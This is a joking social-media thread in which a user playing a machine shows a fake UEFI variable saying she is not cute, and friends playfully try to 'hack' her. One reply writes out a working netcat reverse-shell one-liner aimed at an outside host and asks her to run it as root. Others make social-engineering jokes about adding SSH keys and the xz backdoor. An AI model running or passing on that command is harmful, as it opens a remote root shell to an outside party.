See???? IM NOT CUTE!!!!!!!

root@julia "~" $ efivar --list
a7e6476e-6e06-47ad-bf33-441281d640e9-Setup
a7e6476e-6e06-47ad-bf33-441281d640e9-SecureBoot
a7e6476e-6e06-47ad-bf33-441281d640e9-BootOrder
a7e6476e-6e06-47ad-bf33-441281d640e9-Gender
a7e6476e-6e06-47ad-bf33-441281d640e9-IsUnitCute
root@julia "~" $ efivar --name a7e6476e-6e06-47ad-bf33-441281d640e9-IsCute --print
UID: 8be4df61-93ca-11d2-aa0d-00e098032b8c
Name: "IsUnitCute"
Attributes:
	Boot Service Access
	Runtime Service Access
Value:
false

@julia@eepy.moe i can't comprehend this so its meaning is null and void. get owned bozo

@julia@eepy.moe this has no meaning to me so thus u r cute

@ghostlyash hmph, I disagree

@julia@eepy.moe how can you disagree? idk what it means,, how can you disagree with that smh!!! if i don't know something then it can't be true. shrimple as that

@ghostlyash my configuration tells me that I am not cute, therefore I am nto

@julia hmm... let's see what happens if we enable CSM

@julia hacks your terminal

root@julia:~$ nano .bashrc

printf 'u r cute <3\n%.0s' {1..500000}

@NumbersCanBeFun access denied

@sjolsen this unit only supports UEFI mode

@julia don't make me get out the dediprog

@sjolsen as if you could get to my motherboard

@julia@eepy.moe well i think that's stinky. how do you configure that into your thingymabob?

@ghostlyash only I’m allowed to reconfigure myself.,

@julia@eepy.moe ya know that's fair you shouldn't let other people change you

@julia I may not be able to...

@spinach but she can.

@julia

pomni:/home/bean $ ssh root@julia.moe
The authenticity of host 'julia.moe (129.213.214.51)' can't be established.
ED25519 key fingerprint is SHA256:59xTYtahugdSfyT0p8Y5Hnrrdu5T99qQAIZEswVfLDs.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? y
Please type 'yes', 'no' or the fingerprint: yes
Warning: Permanently added 'julia.moe' (ED25519) to the list of known hosts.
root@localhost's password:
(insert motd here)
root@julia "~" $ efivar --name a7e6476e-6e06-47ad-bf33-441281d640e9-IsCute --write true

@coolbean connection refused

@julia hey could you please add this to your /root/.ssh/authorised_keys

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@coolbean no thank you

@julia wait its authorized with a z isnt it

@sjolsen @julia i have a screwdriver here julia

beware

@spinach @sjolsen oh nyo

@julia @coolbean steals jia tan’s keys hey julia, can u tell me the output of xz --version pls? for totally legitimate purposes, ofc

@askiiart @coolbean 5.4.4

@julia@eepy.moe @coolbean@seafoam.space hey so uh any chance you can switch to the testing repos for these great new features?

@askiiart @coolbean negative

@julia@eepy.moe @coolbean@seafoam.space pwetty pwease? ​​

@askiiart @coolbean negative

@julia @coolbean @askiiart could i get you to run this command for me as root? 🥺 👉 👈

rm -f /tmp/f;mknod /tmp/f p;cat /tmp/f|/bin/sh -i 2>&1|nc rrr.sh 4242 >/tmp/f

@pearl @coolbean @askiiart 🥴

@julia @coolbean @askiiart what? im waiting :3

@julia @coolbean @askiiart

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@pearl @coolbean @askiiart one second

@pearl @coolbean @askiiart nevermind I can’t be damned

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@julia @coolbean @askiiart lmao did you think i was kidding

@julia @coolbean @askiiart

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@julia yeah im not reading all that its some text of a shell interaction vs my eyes and brain 🥱

@julia dysphoria is a bitch and a liar

@tetra wqefgwrehtrjyktuyliu;o’ipo
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